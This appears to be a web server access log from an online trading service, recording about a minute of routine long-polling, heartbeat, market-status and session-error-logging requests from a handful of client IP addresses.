[09/Jan/2026:11:59:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931441762 HTTP/1.1" -
[09/Jan/2026:11:59:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931442270 HTTP/1.1" -
[09/Jan/2026:11:59:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931443068 HTTP/1.1" -
[09/Jan/2026:11:59:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931443619 HTTP/1.1" -
[09/Jan/2026:11:59:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931442710 HTTP/1.1" -
[09/Jan/2026:11:59:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931445046 HTTP/1.1" -
[09/Jan/2026:11:59:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931445855 HTTP/1.1" -
[09/Jan/2026:11:59:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931446798 HTTP/1.1" -
[09/Jan/2026:11:59:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931447378 HTTP/1.1" -
[09/Jan/2026:11:59:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931448194 HTTP/1.1" -
[09/Jan/2026:11:59:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931448819 HTTP/1.1" -
[09/Jan/2026:11:59:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931447781 HTTP/1.1" -
[09/Jan/2026:11:59:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931450106 HTTP/1.1" -
[09/Jan/2026:11:59:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931450923 HTTP/1.1" -
[09/Jan/2026:11:59:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931451826 HTTP/1.1" -
[09/Jan/2026:11:59:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931452447 HTTP/1.1" -
[09/Jan/2026:11:59:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931453339 HTTP/1.1" -
[09/Jan/2026:11:59:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931453989 HTTP/1.1" -
[09/Jan/2026:11:59:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931452838 HTTP/1.1" -
[09/Jan/2026:11:59:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931455179 HTTP/1.1" -
[09/Jan/2026:11:59:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931455986 HTTP/1.1" -
[09/Jan/2026:11:59:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931456873 HTTP/1.1" -
[09/Jan/2026:11:59:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931457507 HTTP/1.1" -
[09/Jan/2026:11:59:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931458615 HTTP/1.1" -
[09/Jan/2026:11:59:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931459127 HTTP/1.1" -
[09/Jan/2026:11:59:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931457941 HTTP/1.1" -
[09/Jan/2026:11:59:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931460241 HTTP/1.1" -
[09/Jan/2026:11:59:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931461048 HTTP/1.1" -
[09/Jan/2026:11:59:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931461918 HTTP/1.1" -
[09/Jan/2026:11:59:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931462574 HTTP/1.1" -
[09/Jan/2026:11:59:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931463835 HTTP/1.1" -
[09/Jan/2026:11:59:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931464283 HTTP/1.1" -
[09/Jan/2026:11:59:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931462966 HTTP/1.1" -
[09/Jan/2026:11:59:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931465298 HTTP/1.1" -
[09/Jan/2026:11:59:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931466116 HTTP/1.1" -
[09/Jan/2026:11:59:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931466950 HTTP/1.1" -
[09/Jan/2026:11:59:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931467645 HTTP/1.1" -
[09/Jan/2026:12:00:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931469230 HTTP/1.1" -
[09/Jan/2026:12:00:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931468004 HTTP/1.1" -
[09/Jan/2026:12:00:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931469483 HTTP/1.1" -
[09/Jan/2026:12:00:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931470363 HTTP/1.1" -
[09/Jan/2026:12:00:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931471184 HTTP/1.1" -
[09/Jan/2026:12:00:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931471979 HTTP/1.1" -
[09/Jan/2026:12:00:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931472705 HTTP/1.1" -
[09/Jan/2026:12:00:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931473046 HTTP/1.1" -
[09/Jan/2026:12:00:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931474429 HTTP/1.1" -
[09/Jan/2026:12:00:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931474576 HTTP/1.1" -
[09/Jan/2026:12:00:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931475438 HTTP/1.1" -
[09/Jan/2026:12:00:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931476247 HTTP/1.1" -
[09/Jan/2026:12:00:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931477017 HTTP/1.1" -
[09/Jan/2026:12:00:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931477763 HTTP/1.1" -
[09/Jan/2026:12:00:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931478134 HTTP/1.1" -
[09/Jan/2026:12:00:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931479713 HTTP/1.1" -
[09/Jan/2026:12:00:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931479651 HTTP/1.1" -
[09/Jan/2026:12:00:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931480496 HTTP/1.1" -
[09/Jan/2026:12:00:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931481319 HTTP/1.1" -
[09/Jan/2026:12:00:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931482072 HTTP/1.1" -
[09/Jan/2026:12:00:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931482828 HTTP/1.1" -
[09/Jan/2026:12:00:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931483220 HTTP/1.1" -
[09/Jan/2026:12:00:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931484928 HTTP/1.1" -
[09/Jan/2026:12:00:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931484897 HTTP/1.1" -
[09/Jan/2026:12:00:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931485556 HTTP/1.1" -
[09/Jan/2026:12:00:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931486392 HTTP/1.1" -
